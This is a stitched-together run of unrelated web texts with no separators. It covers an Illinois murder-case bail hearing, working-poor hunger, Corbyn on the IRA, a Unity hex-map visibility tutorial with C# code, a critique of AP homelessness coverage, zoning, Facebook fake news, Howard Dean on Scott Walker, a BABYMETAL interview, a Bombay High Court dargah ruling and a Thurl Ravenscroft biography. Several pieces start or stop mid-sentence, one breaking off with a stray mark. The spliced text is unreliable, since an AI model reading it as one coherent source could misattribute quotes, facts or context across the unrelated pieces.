But that’s the tale for another day. We’ll dive into making the casting chainable in one of my next articles.
cast function is available at cocoapods IDPCastable and is available on github as well: IDPCastable.
That’s all, folks. Have a great day and stay DRY, no matter, where you are.Morgan D. Hake, accused of killed his wife in Lanark, enters a Carroll County courtroom Jan. 27 during what was supposed to be a hearing to request a lower bail amount. That hearing was rescheduled to February. Circuit Court Judge Val Gunnarsson sits on the bench Jan. 27 for what was supposed to be a hearing to request a lower bail amount for Morgan D. Hake, but that hearing was rescheduled to February. Suzanne Hake
MOUNT CARROLL – The man accused of fatally shooting his wife in Lanark on Dec. 5 was expected to make his case for a lower bail amount in Carroll County Court on Jan. 27, but the reduction hearing did not go as planned.
“We’re not going to proceed on the motion. Something came up,” said Public Defender Jerry Kane, who did not elaborate on the case involving his client, 49-year-old Morgan D. Hake of Freeport.
The case was continued to 9 a.m. Feb. 25.
Hake is facing 20 to 60 years in prison, up to life, on six counts of first-degree murder, and felony possession of a weapon, punishable by 2 to 5 years in prison. He is in Carroll County Jail on $5 million bond.
Prosecutors say in court records he intended to kill Suzanne M. Hake, 46, while armed with a firearm when he shot her in the head and chest in Lanark. Hake called police and turned himself in, and was arrested without incident in Freeport less than an hour after the shooting.
He has pleaded not guilty.
This is the village’s first homicide since the late 1800s, Lanark Mayor John Huggins has said. He also has confirmed that the two were still married, but separated when the shooting occurred.
Suzanne Hake was working for Gaffey Home Nursing and Hospice in Sterling as a hospice social worker before she was shot.
In December 2003, Morgan Hake was charged in Stephenson County Court with being a felon in possession of a weapon, but pleaded guilty to an amended charge of obstructing justice by destroying evidence. He was sentenced to 30 months probation.Looking for news you can trust?
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“I’ll take a sandwich to work and that’s about it,” says Aubretia Edick, who is 58 and works in the pharmacy department of a Wal-Mart in Hudson, New York. “I drink a lot of tea. Once in a blue moon I’ll go into Save-A-Lot and I’ll get some meat. Eggs is kinda like a luxury kind of thing.”
Edick first landed a $6.40-an-hour gig at Wal-Mart back in 2001, and over time her wages inched upward, reaching $10.50 last year. But with inflation factored in, it isn’t that much better than when she first started. To make matters worse, while Edick was technically full time, her manager often slashed her hours due to the slowing economy. In mid-2008, she was grossing roughly $297 a week—$195 after taxes and deductions.
It’s not just the unemployed who are hurting. Across the country, unskilled, nonunionized workers like Edick are barely scraping by on stagnant or declining wages. Bob Pollin, codirector of the Political Economy Research Institute at the University of Massachusetts, calculates that a single person needs about $400 a week, pretax, to achieve even a semblance of economic security—the ability to pay bills on time, eat three square meals a day, and set aside a small rainy-day fund. By Pollin’s calculation, tens of millions of American workers fall short of that minimum.
You’ll find many of them in food prep, where more than 11 million Americans command a median hourly wage of $8.24, according to the Bureau of Labor Statistics. There are another 4.5 million workers doing maintenance-related tasks for $10.18 an hour, 3.3 million in “personal care” at $9.50, and 14.5 million in retail jobs that pay $11.41. Last year, Wal-Mart said its employees averaged $10.83 an hour, although labor-activist group Wal-Mart Watch claims that many longtime workers still make less than $10. These meager wages have helped push 6.2 million more Americans into poverty between 2000 and 2007. And that was before the banking industry imploded.
The fallout can be seen in breadlines across the country. Dozens of food-pantry workers I’ve interviewed for my upcoming book on hunger report a flood of working-poor clients. Feeding America (formerly America’s Second Harvest), a nonprofit that supplies 63,000 pantries and once primarily served “the poorest of the poor,” learned in 2006 that more than one-third of its beneficiaries come from working households. “We’re seeing faces we’ve never seen before,” says spokesman Ross Fraser. At a pantry in Gallup, New Mexico, visited back when gas prices were soaring, one 29-year-old Navajo woman told me how the grueling drive to her 7-Eleven job in the town of Cuba came to burn up nearly half of her $6.80-per-hour take. In the end, the math didn’t make sense, so she quit. “I feed my three boys potatoes,” she said. “We eat two meals a day—just breakfast and dinner. Usually oatmeal for breakfast, and in the evening, gravy potatoes with tortillas.”
Edick’s monthly take-home pay—about $800 at the time I visited—doesn’t go far either. She lives in a tiny apartment with a broken stove and mostly empty fridge that barely works. Rent and utilities run about $450 a month; when it’s cold outside, she often sets the thermostat to 50 degrees to lower her bill. Gas and car insurance cost another $160 or so, depending on prices at the pump. And then there are the doctor visits, covered only after a $1,000 deductible—plus medicines for a thyroid problem, chronic anxiety, and osteoporosis.
To balance the budget, Edick often skimps on food, some weeks spending little more than $10 on groceries, about one-quarter what the federal food stamp program calculates is needed for three “thrifty meals” a day. She patronizes the grimy discount stores whose prices run even lower than Wal-Mart’s, and can tick off their notable sales going back for months. “I had some oranges,” she recalls with a self-deprecating smile. “A couple of months ago, they had grapes on sale.” And, “If it’s less than three dollars for a package of six steaks, that looks like a good deal to me.” (She tries not to think too hard about the quality of a 50-cent steak.) Her staples include PB&J, canned ham salad, soup: “I’ll get chicken noodle or Campbell’s Chunky. There’s meat in there. You can pour it over noodles and put butter on it. It’s like a delicacy.”
In essence, the nation’s biggest employers of unskilled labor often leave workers having to feed from the public trough. In 2004, a year in which Wal-Mart reported $9.1 billion in profits, the retailer’s California employees collected $86 million in public assistance, according to researchers at the University of California-Berkeley. Other studies have revealed widespread use of publicly funded health care by Wal-Mart employees in numerous states. In 2004, Democratic staffers of the House education and workforce committee calculated that each 200-employee Wal-Mart store costs taxpayers an average of more than $400,000 a year, based on entitlements ranging from energy-assistance grants to Medicaid to food stamps to WIC—the federal program that provides food to low-income women with children.
For her part, Edick, unlike many Americans, hasn’t resorted to handouts. (An estimated 28 million people were on food stamps as of last April, up from 17 million in 2000.) “There’s times I’m hungry, and I’ll look in the refrigerator for something—I’ll find a snack pudding. Some leftover rice,” Edick says softly. “I’m not starving or anything like that.”
Sasha Abramsky’s new book, Breadline USA, is due out in May from PoliPoint Press.Labour leader Jeremy Corbyn has condemned the IRA's bombing campaign after coming under severe pressure to do so.
Mr Corbyn has faced repeated questions about his association with the IRA and with Sinn Féin during the 1980s and 1990s.
On Monday, he condemned "all acts of violence from wherever they came" during the Troubles, but declined to specifically denounce the IRA as terrorists.
On Friday, when the BBC's Andrew Neil pointed out in an interview that the IRA killed 1,800 people, Mr Corbyn replied: “Yes. And people were killed by loyalist bombs as well.
“All deaths are appalling, all deaths are wrong. There isn't a military solution to a conflict between traditions and communities. There has to be a better way and a better process of doing it.”
However, he has now held that the IRA bombing campaign was “completely wrong because it was taking civilian lives”.
When asked about his reaction when Downing Street and then-prime minister Sir John Major were targeted in an IRA mortar attack in 1991, he told reporters he had been “obviously appalled”.
Mr Corbyn added: “I was in Parliament at the time, I heard the attack go off.”
The Labour leader further said: “There had to be a process that dealt with the basis of it in Northern Ireland.
“And fortunately, politicians in Northern Ireland - firstly on the national(ist) side, Gerry Adams and John Hume - privately got together and brought about the Hume-Adams accord.
“That moved on to agreements between the nationalists and the unionist side, which eventually led to the peace process which was a recognition of the shared history of Ireland from extremely different cultural perspectives.
“And that led to the Northern Ireland peace process, which I think was the great success of the 1997 (Labour) government.”This is part 22 of a tutorial series about hexagon maps. After adding support for exploration, we'll upgrade our vision calculations and transitions.
Visibility Transitions
A cell is either visible or invisible, because it is either in vision range of a unit, or not. Even though it looks like a unit takes a while to travel between cells, its vision jumps from cell to cell instantaneously. As a result, the visibility of cells around it change suddenly. The unit's movement appears smooth, while the visibility changes are sudden.
Ideally, visibility also changes smoothly. Cells would light up gradually as they come into view and darken slowly once they're no longer visible. Or maybe you prefer immediate transitions? Let's add a property to HexCellShaderData to toggle whether we want immediate transitions. We'll make smooth transitions the default.
public bool ImmediateMode { get; set; }
Tracking Transitioning Cells Even when showing smooth transitions, the actual visibility data is still binary. So it's purely a visual effect. This means that it's up to HexCellShaderData to keep track of visibility transitions. Give it a list to keep track of the transitioning cells. Make sure that it's empty after each initialization. using System.Collections.Generic; using UnityEngine; public class HexCellShaderData : MonoBehaviour { Texture2D cellTexture; Color32[] cellTextureData; List<HexCell> transitioningCells = new List<HexCell>(); public bool ImmediateMode { get; set; } public void Initialize (int x, int z) { … transitioningCells.Clear(); enabled = true; } … } Currently, we directly set the cell data in RefreshVisibility. This is still correct when immediate mode is active. But when it's not, we should instead add the cell to the list of transitioning cells. public void RefreshVisibility (HexCell cell) { int index = cell.Index; if (ImmediateMode) { cellTextureData[index].r = cell.IsVisible? (byte)255 : (byte)0; cellTextureData[index].g = cell.IsExplored? (byte)255 : (byte)0; } else { transitioningCells.Add(cell); } enabled = true; } Visibility now no longer appears to work, because we don't do anything with the cells in the list yet.
Looping through Transitioning Cells Instead of immediately setting the relevant values to either 255 or 0, we going to gradually increase or decrease these values. How quickly we do that determines how smooth the transitions appear. We shouldn't do it too fast, but also not too slow. One second is a good compromise between nice visuals and playability. Let's define a constant for that, so it's easy to change. const float transitionSpeed = 255f; In LateUpdate, we can now determine the delta to apply to the values, by multiplying the time delta with the speed. This has to be an integer, because we don't know how large it could get. A freak frame-rate dip could make the delta larger than 255. Also, we must keep updating as long as there are cells in transition. So make sure we remain enabled while there's something in the list. void LateUpdate () { int delta = (int)(Time.deltaTime * transitionSpeed); cellTexture.SetPixels32(cellTextureData); cellTexture.Apply(); enabled = transitioningCells.Count > 0 ; } It is also theoretically possible to get very high frame rates. Together with a low transition speed, this could result in a delta of zero. To guarantee progress, force the delta to have a minimum of 1. int delta = (int)(Time.deltaTime * transitionSpeed); if (delta == 0) { delta = 1; } After we have our delta, we can loop through all transitioning cells and update their data. Let's assume we have an UpdateCellData method for that, which has the relevant cell and the delta as parameters. int delta = (int)(Time.deltaTime * transitionSpeed); if (delta == 0) { delta = 1; } for (int i = 0; i < transitioningCells.Count; i++) { UpdateCellData(transitioningCells[i], delta); } At some point, a cell's transition should be finished. Let's assume that the method returns whether it's still transitioning. When that's no longer the case, we can remove the cell from the list. Afterwards, we have to decrement the iterator to not skip any cells. for (int i = 0; i < transitioningCells.Count; i++) { if (! UpdateCellData(transitioningCells[i], delta) ) { transitioningCells.RemoveAt(i--); } } The order in which we process the transitioning cells doesn't matter. So we don't have to remove the cell at the current index, which forces RemoveAt to shift all cells after it. Instead, move the last cell to the current index and them remove the last one. if (!UpdateCellData(transitioningCells[i], delta)) { transitioningCells[i--] = transitioningCells[transitioningCells.Count - 1]; transitioningCells.RemoveAt( transitioningCells.Count - 1 ); } Now we have to create the UpdateCellData method. It's going to need the cell's index and data to do its work, so begin by fetching those. It also has to determine whether this cell still requires further updating. By default, we'll assume this is not the case. Once the work is done, the adjusted data has to be applied and the still-updating status returned. bool UpdateCellData (HexCell cell, int delta) { int index = cell.Index; Color32 data = cellTextureData[index]; bool stillUpdating = false; cellTextureData[index] = data; return stillUpdating; }
Updating Cell Data At this point, we have a cell that is in transition, or maybe it is already finished. First, let's consider the cell's exploration state. If the cell is explored but its G value isn't 255 yet, then indeed it is still in transition, so keep track of this fact. bool stillUpdating = false; if (cell.IsExplored && data.g < 255) { stillUpdating = true; } cellTextureData[index] = data; To progress the transition, add the delta to the cell's G value. Arithmatic operations don't work on bytes, they are always converted to integers first. So the sum is an integer, which has to be cast to a byte. if (cell.IsExplored && data.g < 255) { stillUpdating = true; int t = data.g + delta; data.g = (byte)t; } But we must ensure that we do no exceed 255 before casting. int t = data.g + delta; data.g = t >= 255? (byte)255 : (byte)t; Next, we have to do the same thing for the visibility, which uses the R value. if (cell.IsExplored && data.g < 255) { … } if (cell.IsVisible && data.r < 255) { stillUpdating = true; int t = data.r + delta; data.r = t >= 255? (byte)255 : (byte)t; } As cells can also become invisible again, we must also check whether we have to decrease the R value. This is the case when the cell isn't visible while R is larger than zero. if (cell.IsVisible ) { if ( data.r < 255) { stillUpdating = true; int t = data.r + delta; data.r = t >= 255? (byte)255 : (byte)t; } } else if (data.r > 0) { stillUpdating = true; int t = data.r - delta; data.r = t < 0? (byte)0 : (byte)t; } Now UpdateCellData is complete and the visibility transitions are functional. Visibility transitions.
Preventing Duplicate Transition Entries Although the transitions work, we can end up with duplicate entries in the list. This happens when a cell's visibility state changes while it is still in transition. For example, when a cell is only visible for a short while during a unit's journey. The result of duplicate entries is that the cell's transition gets updated multiple times per frame, which leads to faster transitions and more work than necessary. We could prevent this by checking whether the cell is already in the list before adding it. However, searching a list each time RefreshVisibility is invoked is expensive, especially when many cells are already in transition. Instead, let's use one of the yet-unused data channels to store whether a cell in transition, like the B value. Set this value to 255 when the cell is added to the list. Then only add cells whose B value isn't 255. public void RefreshVisibility (HexCell cell) { int index = cell.Index; if (ImmediateMode) { cellTextureData[index].r = cell.IsVisible? (byte)255 : (byte)0; cellTextureData[index].g = cell.IsExplored? (byte)255 : (byte)0; } else if (cellTextureData[index].b!= 255) { cellTextureData[index].b = 255; transitioningCells.Add(cell); } enabled = true; } To make this work, we have to set the B value back to zero once a cell's transition is finished. bool UpdateCellData (HexCell cell, int delta) { … if (!stillUpdating) { data.b = 0; } cellTextureData[index] = data; return stillUpdating; } Transitions without duplicates.You had to figure that the Associated Press would at some point finally recognize the existence of the nation's "booming economy," at least compared to the historically weak 7-1/2 years of post-recession malaise which preceded it.
Well, they're finally doing it — and erroneously tagging it with sole blame for the fast-growing homelessness problem in the nation's three West Coast states.
The wire service suddenly rediscovered homelessness in early November when it began a series on West Coast homelessness after a virtual national reporting blackout on the topic during the Obama era. Lo and behold, the "booming economy" put in its first appearance in an AP report in memory on November 8. The report by Janie Har featured a paragraph which directly and bitterly indicted certain of those who have shelter for the plight of those who don't (bolds are mine throughout this post):
‘We still need to eat’: Tech boom creates working homeless... Homeless advocates and city officials say it’s outrageous that in the shadow of a booming tech economy - where young millionaires dine on $15 wood-grilled avocado and think nothing of paying $1,000 for an iPhone X - thousands of families can’t afford a home. Many of the homeless work regular jobs, in some cases serving the very people whose sky-high net worth is the reason housing has become unaffordable for so many.
That's an outrageous smear on the rich. The AP's Har acknowledged the existence of another key factor in a later paragraph:
... along the West Coast... many cities and counties have seen a surge in the number of people living on the streets over the past two years. Counts taken earlier this year show 168,000 homeless people in California, Oregon and Washington - 20,000 more than were counted just two years ago. The booming economy, fueled by the tech sector, and decades of under-building have led to an historic shortage of affordable housing. It has upended the stereotypical view of people out on the streets as unemployed: They are retail clerks, plumbers, janitors - even teachers - who go to work, sleep where they can and buy gym memberships for a place to shower.
Florida and Texas have booming economies too, and rich people there also live relatively luxurious lifestyles. Somehow, those states don't have anything resembling the problem with homelessness seen in California, Oregon, and Washington. Why? Because homes and apartments are being built in those states. Har never explored why the three West Coast states have seen "decades of under-building."
The "booming economy" put in another appearance in a November 9 AP item, again blaming it for homelessness:
Amid booming economy, homelessness soars on US West Coast A homeless crisis of unprecedented proportions is rocking the West Coast, and its victims are being left behind by the very things that mark the region’s success: soaring housing costs, rock-bottom vacancy rates and a roaring economy that waits for no one. All along the coast, elected officials are scrambling for solutions.
Earlier this week, the U.S. Department of Housing and Urban Development released its Annual Homeless Assessment Report to Congress. Naturally, AP reporters Christopher Weber and Geoff Mulvihill brought up the "booming economy" in their Monday coverage, and blamed it for the West Coast's homelessness problem. They also engaged in a bit of statistical sleight-of-hand which blurred the contrast between the West Coast and the rest of the nation:
Report: West Coast homeless crisis pushes US count higher The nation’s homeless population increased this year for the first time since 2010, driven by a surge in the number of people living on the streets in Los Angeles and other West Coast cities.
Let's stop there for a moment. The bolded assertion is horribly misleading. The actual point-in-time homelessness counts were done during the last week in January 2017. The vast majority of the increase the reporters cited occurred last year, not "this year." Additionally, except for a very few days, the period covered by the government's report coincided with the final year of Barack Obama's presidency.
Continuing:
The U.S. Department of Housing and Urban Development released its annual Point in Time count Wednesday, a report that showed nearly 554,000 homeless people across the country during local tallies conducted in January. That figure is up nearly 1 percent from 2016.... Increases are higher in several West Coast cities, where the explosion in homelessness has prompted at least 10 city and county governments to declare states of emergency since 2015. City officials, homeless advocates and those living on the streets point to a main culprit: the region’s booming economy.... Excluding the Los Angeles region, total homelessness nationwide would have been down by about 1.5 percent compared with 2016.
The AP pair certainly was justified in concentrating much of their work on the dreadful situation in LA. The city has a breathtaking 10 percent of the entire U.S. homeless population; its rate of homelessness is now higher than former longtime leader New York City. 80 percent of LA's homeless are unsheltered; only about 5 percent are unsheltered in Gotham. They weren't justified in using LA's situation to guilt-shame the rest of the nation. But they did, with the help of LA's mayor:
Since last year, voters in the city and Los Angeles County have passed a pair of tax-boosting ballot initiatives to raise an expected $4.7 billion over the next decade for affordable housing and services for the homeless. HUD Secretary Ben Carson praised the region for dealing with the issue and not relying solely on the federal government. “We need to move a little bit away from the concept that only the government can solve the problem,” he said. But Mayor Eric Garcetti said that insufficient federal funding for affordable housing and anti-homelessness programs are part of the reason for the city’s current crisis.
That's rubbish. Unfortunately, the 1.5 percent "other than LA" nationwide reduction cited by Weber and Mulvihill masked how relatively well the country is doing in addressing homelessness. Here's how things look when all of the trouble spots — California, Oregon, Washington State, and New York City — are subtracted from the nationwide totals for the January 2017 and January 2016 counts:
While the rest of the nation made decent headway in reducing homelessness last year, the three West Coast states and New York City, which has had a disproportionately high percentage of the nation's homeless population for decades, saw significant increases.
The AP has very selective in when and where it will call the U.S. economy, or parts of it, "booming."
On November 14, the wire service wouldn't concede that Florida has a booming economy, even though employment in the state has increased by almost 200,000 in the past year and over 1.5 million (an increase of over 21 percent) since the Obama-era jobs recession ended in February 2010. When Governor Rick Scott made that reference to the Sunshine State's economy in unveiling its next budget, reporter Gary Fineout put the word "booming" in quotes.
As to why the three high-homelessness states have seen "decades of under-building":
A look at the permitting process would almost certainly reveal that these states make it extraordinarily difficult to get permission to build.
All three have high degrees of taxation, regulation, over-strict building codes, and restrictive zoning.
The more recent under-building in California has another specific cause, as I noted in a column at another web site three years ago. Under Governor Jerry Brown, "the state in 2011 'ended special redevelopment assessments, which essentially brought affordable housing construction to a halt' — with little apparent blowback from supposed "progressives" and the state's media watchdogs — er, lapdogs."
Finally, all three states have been indifferent or hostile to attracting and keeping the kind of middle-class jobs which used to be plentiful (think: logging in Washington and Oregon, and oil refineries in California).
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A column by Steve Lopez at the Los Angeles Times, of all places, which looked at why former Angelenos are migrating to Las Vegas, stated matters succinctly and in a manner which really applies to all three states: "Slowly, steadily, and somewhat indifferently, we are burdening, breaking and even exporting our middle class."
Cross-posted at BizzyBlog.com.One of the odder things about modern zoning codes as applied in much of the Northeastern United States is that they generally would prohibit the construction of existing neighborhoods that people live in and love.
Take Somerville, Massachusetts, a nice town adjacent to Boston and Cambridge that’s chock full of what's come to be known as “missing middle” housing — structures that are denser than a detached single-family home sitting on a large lot but smaller than a high-rise condo building. It’s not the kind of place that everyone would want to live — hard to find a big yard, for example — but plenty of people do enjoy living there, and even more people might enjoy it if it were possible to build even more houses.
But it generally isn’t. Not due to a zoning code that strictly mandates the preservation of the city’s existing character, but due to a zoning code that says the city as it actually exists is totally illegal.
Here’s a map of the entire city highlighting which existing structures conform to the existing zoning:
There are only 22 of them. And as Daniel Hertz points out at City Observatory, “this calculation actually doesn’t include parking requirements, which might very well do away with those last 22 conforming buildings.”
Somerville is an extreme case but by no means a unique one. A recent New York Times study showed that 40 percent of Manhattan buildings are illegal; basically everything (the corner stores, the English basement rental units, the narrow houses) about the Georgetown neighborhood in DC is illegal; and so on and so forth throughout the historically settled parts of the urban Northeast.
The fact that there’s evidently nothing wrong with these illegal neighborhoods and illegal houses should give us some pause as to whether all these anti-building rules are necessary. There’s no need for every American town to be built up to Somerville levels of density (indeed, you could fit 200 million people into Massachusetts at Somerville’s population density), but what’s so wrong with some new neighborhoods growing as dense as historic ones?Earlier this year, Facebook began flagging fake news posts and promoting more legitimate content over sketchy articles. It also began deprioritizing content shared by individuals who post over 50 times per day when research showed that in those cases, the shared posts often included misinformation and sensationalism. In a more direct challenge of fake news, the site recently began publishing fact checkers' takes on articles labeled as potentially fake and making it easier to get to different articles related to any given post.
The company has already banned fake news websites from generating ad revenue on Facebook and blocked ads that link to fake news stories. It says its latest update is to take the fight against fake news a step further. "Today's update helps to disrupt the economic incentives and curb the spread of false news, which is another step towards building a more informed community on Facebook," it said.Democratic commentator Howard Dean, the former Vermont governor who rose and fell quickly in the 2004 presidential race, sounded this morning like he thinks a college degree should be a prerequisite for holding the top job in the White House.
Dean said on MSNBC’s “Morning Joe” that Wisconsin Gov. Scott Walker’s three and a half years of college make him “unknowledgeable.”
Happy to field a variety of questions today at the Chatham House. Regarding one in particular… — Scott Walker (@ScottWalker) February 11, 2015
Dean, also a former chairman of the Democratic National Committee, made the comment while disparaging Walker for declining to answer a question about evolution from the BBC’s Justin Webb during an appearance at the Chatham House think tank in London while on a trade visit to the United Kingdom.
“I’m here to talk about trade, not to pontificate on other issues,” Walker told Webb. “I love the evolution of trade in Wisconsin, and I’d like to see an even bigger evolution as well.”
Both science & my faith dictate my belief that we are created by God. I believe faith & science are compatible, & go hand in hand. — Scott Walker (@ScottWalker) February 11, 2015
“Are you serious?” responded the show’s host, Joe Scarborough, sharply challenging Dean. “You’re saying he might not be qualified [for president] because he didn’t finish college?”
“Nobody is accusing @ScottWalker of being dumb because he didn’t graduate from college except you.”[email protected]
“I think there are going to be a lot |
what performance is all about. Of course, I also managed to go out into the city, and it felt like this is exactly what I see on TV about America. It left a very, very big impression on me.
YUIMETAL: New York left the biggest impression for me. It’s a city I only ever knew about via textbooks at school and the news. The first time I went to New York was last year in May with BABYMETAL, and I saw places like the Statue Of Liberty and Times Square. Everybody in America is very friendly! It didn’t matter where I was, whether I was eating or buying souvenirs, people are always coming up and saying hello.
MOAMETAL: The thing that left the biggest impression was probably going to Lady Gaga’s show at Madison Square Garden. That was the first time I saw a concert all in English, so of course, it was very alien to me. But just watching Lady Gaga performing and really reaching out to every single fan in the crowd gave me a little dream of one day seeing BABYMETAL playing in such a big venue, in front of so many people, and really putting out all the emotions and expressing it to every person who comes to the show.
If you could have any dream guest join you onstage, who would it be?
SU-METAL: The artist we respect the most is Metallica, so obviously if the chance ever came, I would like for us to play with Metallica.
What metal band inspired you the most?
SU-METAL: My answer is the same here—Metallica. Because the first time we saw a metal band live was Metallica two years ago in Japan. Watching Metallica perform, and the way the fans reacted and their aura on stage, was something that I can say is very ‘godly.’ They were also the band that helped us learn more about metal and made us want to learn more about metal. So yes, it’s Metallica.
What is something fans wouldn’t know about BABYMETAL?
SU-METAL: We were trying to think of something we could actually share with our fans that they don’t already know, but the fans find out at the same time we find out! So there’s really nothing that the fans don’t know that we know.
Do you have any special message from BABYMETAL to the readers of AP?
SU-METAL: In the past year, years actually, BABYMETAL has played some headline shows in America. The first two were in New York, L.A. We’ve also played some other cities and some festivals there, and we are just hoping and looking forward to coming back to meet all the fans in America when the chance comes up again. Also what I would like most to say is the biggest thing about BABYMETAL is coming to experience it live, so the next time we head over there, I hope that if you have even of the tiniest bit of interest in BABYMETAL to come to one of our shows and experience BABYMETAL with us!
Watch BABYMETAL live in Japan:FOUR YEARS after the Haji Ali Dargah Trust barred women from entering the sanctum sanctorum, the Bombay High Court lifted the ban on Friday, saying it contravenes the Constitution and women should be allowed entry “at par with men”.
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“The ban imposed by the dargah trust, prohibiting women from entering the sanctum sanctorum of the Haji Ali Dargah, contravenes Articles 14 (equality before law), 15 (prohibition of discrimination on grounds of religion, race, caste, sex or place of birth) and 25 (free profession and practice and propagation of religion) of the Constitution… Women should be permitted to enter the sanctum sanctorum at par with men,” said a division bench of Justices V M Kanade and Revati Mohite Dere.
The court, however, stayed its order for six weeks, allowing the trust the liberty to appeal in the Supreme Court.
The trust had cited verses from the Quran and Prophet Mohammed to claim that Islam does not permit women to enter dargahs/ mosques. “There is nothing in any of the aforesaid verses which shows that Islam does not permit entry of women at all into a dargah/ mosque, and that their entry is sinful in Islam,” said the court.
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“It cannot be said that the prohibition is an essential and integral part of Islam and fundamental to follow the religious belief; and taking away that part of the practice would result in a fundamental change in the character of that religion or its belief…
What cannot be ignored is the fact that women were permitted entry in the sanctum sanctorum till about 2011-2012,” said the court.
The trust had claimed the fundamental right “to manage its own affairs” under Article 26 of the Constitution. The court, however, said the right cannot “override the right to practice religion itself”, as Article 26 cannot be seen to overrule the right to practice one’s religion as guaranteed under the Constitution of India.
“The Haji Ali Dargah Trust is a public charitable trust. It is open to people all over the world, irrespective of their caste, creed or sex, etc. Once a public character is attached to a place of worship, all the rigors of Articles 14, 15 and 25 would come into play and the trust cannot justify its decision solely based on a misreading of Article 26,” said the bench.
“It is stated that the said ban is in keeping with the decision of the apex court, wherein stringent directions have been issued to ensure that there is no sexual harassment to women at places of worship. We may note that the said submission is completely misplaced and misconceived,” said the court.
“The trust is always at liberty to take steps to prevent sexual harassment of women, not by banning their entry in the sanctum sanctorum, but by taking effective steps and making provisions for their safety and security, like by having separate queues for men and women, as was done earlier,” it said.
WATCH | Women Should Be Allowed In Inner Sanctum Of Haji Ali Dargah, Rules Bombay HC
The court issued the order on a PIL filed by Noorjehan Naiz and Zakia Soman, who are office bearers of the Bharatiya Muslim Mahila Andolan. Earlier, their counsel, Raju Moray, said women were allowed entry into the sanctum sanctorum prior to 2011-2012, when the trustees imposed the restriction without any justification.
He said the ban is clearly contrary to Articles 14 and 15 of the Constitution. He said the case was peculiar and distinct from the Sabarimala and Shani Shingnapur cases, as women were permitted entry into the Haji Ali Dargah sanctum sanctorum earlier.
Advocate Shoaib Memon, appearing for the trust, argued that Islam discourages free mixing between men and women and that the intention of the restriction is to keep this interaction at a modest level. He said menstruating women were considered unclean and impure in Islam and hence, could not offer prayers or visit the dargah/ mosque.
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This is not the first time that the high court has ruled in favour of women’s right to enter a place of worship. In April, the Shani Shingnapur temple, which had barred women from entering its core area for over 400 years, allowed women activists to pray inside the temple following the court’s orders.Thurl Arthur Ravenscroft (; February 6, 1914 – May 22, 2005) was an American voice actor and bass singer known as the booming voice behind Kellogg's Frosted Flakes animated spokesman Tony the Tiger for more than five decades. He was also the uncredited vocalist for the song "You're a Mean One, Mr. Grinch" from the classic Christmas television special, Dr. Seuss' How the Grinch Stole Christmas![1]
Ravenscroft did some voice-over work and singing for Disney in both the films and the attractions at Disneyland (which were later featured at Walt Disney World). The best known of these attractions are Haunted Mansion as a singing bust, Country Bear Jamboree, Mark Twain Riverboat, Pirates of the Caribbean, Disneyland Railroad, and Walt Disney's Enchanted Tiki Room as "Fritz". His voice acting career began in 1940 and lasted until his death in 2005 at age 91.[2]
Early life and career [ edit ]
Ravenscroft left his native Norfolk, Nebraska, in 1933 for California, where he studied at Otis Art Institute. He achieved early success as part of a singing group called The Mellomen. The Mellomen can be heard on many popular recordings of the Big Band Era, including backup for Bing Crosby, Frankie Laine, Spike Jones, Jo Stafford, and Rosemary Clooney. Their earliest contribution to a Disney film was for Pinocchio (1940), to which they contributed the song "Honest John". This was deleted from the film, but can still be heard in the supplements on the 2009 DVD. Ravenscroft did also voice Monstro the Whale in Pinocchio. The Mellomen did also contribute to other Disney films, such as Alice in Wonderland and Lady and the Tramp. The group appeared on camera in a few episodes of the Disney anthology television series; in one instance recording a canine chorus for Lady and the Tramp and in another as a barbershop quartet that reminds Walt Disney of the name of the young newspaper reporter Gallegher.
Ravenscroft is also heard with the quartet on some of the Merrie Melodies and Looney Tunes with Mel Blanc at Warner Bros. as well as on radio "driving Jack Benny crazy" on The Jack Benny Program.
During World War II, Ravenscroft served as a civilian navigator contracted to the U.S. Air Transport Command, spending five years flying courier missions across the north and south Atlantic. Among the notables carried on board his flights were Winston Churchill and Bob Hope. As he told an interviewer: "I flew Winston Churchill to a conference in Algiers and flew Bob Hope to the troops a couple of times. So it was fun."[3]
Ravenscroft sang bass on Rosemary Clooney's "This Ole House", which went to No. 1 in both the United States and Britain in 1954, as well as Stuart Hamblen's original version of that same song. He sang on the soundtrack for Ken Clark as "Stewpot" in South Pacific, one of the top-selling albums of the 1950s. Singing with the Johnny Mann Singers,[4] his distinctive bass can also be heard as part of the chorus on 28 of their albums that were released during the 1960s and 1970s. He was also the bass singer on Bobby Vee's 1960 Liberty hit record "Devil or Angel". Andy Williams' recording of "The 12 Days of Christmas" features him as well. In the 1980s and 1990s, Ravenscroft was narrator for the annual Pageant of the Masters art show at the Laguna Beach, California, Festival of the Arts.
He sang the opening songs for the two Disney serials used on The Mickey Mouse Club, Boys of the Western Sea and The Hardy Boys: Mystery of the Applegate Treasure.
He sang the "Twitterpatter Song" and "Thumper's Song" on the Disneyland record Peter Cottontail and other Funny Bunnies.
On the Disneyland record All About Dragons, he both provided the narration and sang the songs "The Reluctant Dragon" and "The Loch Ness Monster".[5]
His voice was heard during the Pirates of the Caribbean ride as well as the Haunted Mansion at Disneyland as Uncle Theodore, the lead vocalist of the singing busts in the cemetery near the end of the ride.[6] He also played the Narrator in The Story and Song From the Haunted Mansion. Ravenscroft is also heard in the Enchanted Tiki Room as the voice of Fritz the Animatronics parrot. He was also the voice of the Disneyland Railroad in the 1990s. Further roles include that of The First Mate on The Mark Twain Riverboat and of the American bison head named Buff at The Country Bear Jamboree.[7]
Later career [ edit ]
One of Ravenscroft's best-known uncredited works is as the vocalist for the song "You're a Mean One, Mr. Grinch." His name was accidentally omitted from the credits, leading many to believe (erroneously) that the cartoon's narrator, Boris Karloff, sang the song, while others cited Tennessee Ernie Ford as the song's signature voice.[1]
Ravenscroft also sang "No Dogs Allowed" in the Peanuts animated motion picture Snoopy, Come Home and I Was a Teenaged Brain Surgeon for Spike Jones.
For more than 50 years, he was the uncredited voice of Tony the Tiger for Kellogg's Frosted Flakes. His booming bass gave the cereal's tiger mascot a voice with the catchphrase "They're g-r-r-r-eat!!!!".[8]
Various record companies, such as Abbott, Coral, Brunswick, and "X" (a division of RCA) also released singles by Ravenscroft, often in duets with little-known female vocalists, in an attempt to turn the bass-voiced veteran into a pop singer. These efforts were commercially unsuccessful, if often quite interesting. He was also teamed up with the Andrews Sisters (on the Dot Records album The Andrews Sisters Present) on the cover of Johnny Cymbal's "Mr. Bass Man". The Mellomen released some doo-wop records under the name Big John & the Buzzards, a name apparently given to them by the rock-and-roll-hating Mitch Miller.
